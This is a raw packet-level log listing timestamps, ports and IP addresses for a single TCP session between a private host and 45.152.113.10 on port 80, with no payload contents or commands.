Sep 11, 2024 22:52:07.693016052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693048000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693052053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693078995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693099976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693128109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693140030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693161011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693175077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693212032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693213940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693244934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693262100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693275928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693298101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693332911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693358898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693392038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693411112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693423033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693432093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693474054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693480968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693506002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693525076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693537951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693547010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693571091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693593025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693603039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693628073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693636894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693649054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693669081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693681955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693718910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693723917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693751097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693768978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693782091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693806887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693811893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693823099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693844080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693872929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693876982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693902016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693909883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693936110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693954945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.693962097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.693993092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694010019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694025993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694045067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694058895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694081068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694091082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694097996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694137096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694139957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694171906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694189072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694205046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694220066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694237947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694252014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694267988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694284916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694298983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694305897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694329977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694344997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694377899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694380045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694425106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694426060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694458961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694473982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694490910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694514036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694526911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694545031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694554090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694575071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694585085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694597006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694617033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694632053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694648027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694667101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694679976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694703102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694713116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694727898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694745064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694765091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694777012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694797993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694808960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694819927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694842100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694861889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694873095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694892883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694904089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694915056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694936991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694953918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.694968939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.694984913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695002079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695019960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695033073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695054054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695066929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695076942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695097923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695116043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695130110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695147038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695162058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695174932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695194006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695208073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695226908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695242882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695257902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695275068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695291042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695307970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695322990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695341110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695355892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695403099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695408106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695408106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695430994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695450068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695475101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.695501089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.695550919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778565884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778619051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778651953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778683901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778681993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778681993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778731108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778738022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778738022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778830051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778840065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778887033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778891087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778938055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.778938055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.778970957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779002905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779011965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779011965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779035091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779059887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779067039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779078007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779099941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779113054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779130936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779156923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779161930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779174089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779192924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779211998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779227972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779242992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779258966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779278994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779289961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779299021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779320955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779336929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779355049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779378891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779398918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779453993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779453039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779504061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779536963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779567003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779587984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779587984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779587984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779587984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779618979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779668093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779675961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779675961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779700041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779730082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779747009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779753923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779778957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779789925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779809952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779822111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779841900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779855013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779884100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779891014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779925108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.779934883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779967070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.779973030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780004978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780011892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780046940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780051947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780086994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780092001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780117989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780126095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780148983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780158997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780191898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780199051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780242920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780249119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780280113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780289888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780312061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780322075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780354977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780360937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780394077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780405045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780435085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780441999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780473948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780483007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780522108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780534029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780554056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780570030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780595064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780601978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780637980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780668974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780684948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780685902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780715942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780725956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780759096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780764103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780800104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780807972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780831099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780842066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780864000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780869007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780895948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780908108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780926943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.780939102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780965090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.780973911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781006098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781018019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781037092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781048059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781069040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781078100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781107903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781116962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781150103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781160116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781182051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781192064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781213999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781223059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781255007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781260967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781295061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781301975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781325102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781339884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781357050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781361103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781388998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781419992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781450033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781482935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781529903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781563044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781609058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781619072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781619072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781619072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781619072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781620026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781620026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781620026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781641006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781672001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781703949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781724930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781724930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781724930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781750917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781750917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781785965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781797886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781816006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781822920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781848907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781862974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781879902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781900883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781910896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781924009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781939983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781971931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.781971931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.781994104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782002926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782025099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782035112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782051086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782068014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782083035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782099962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782149076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782149076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782162905 CEST	80	49733	45.152.113.10	192.168.2.4
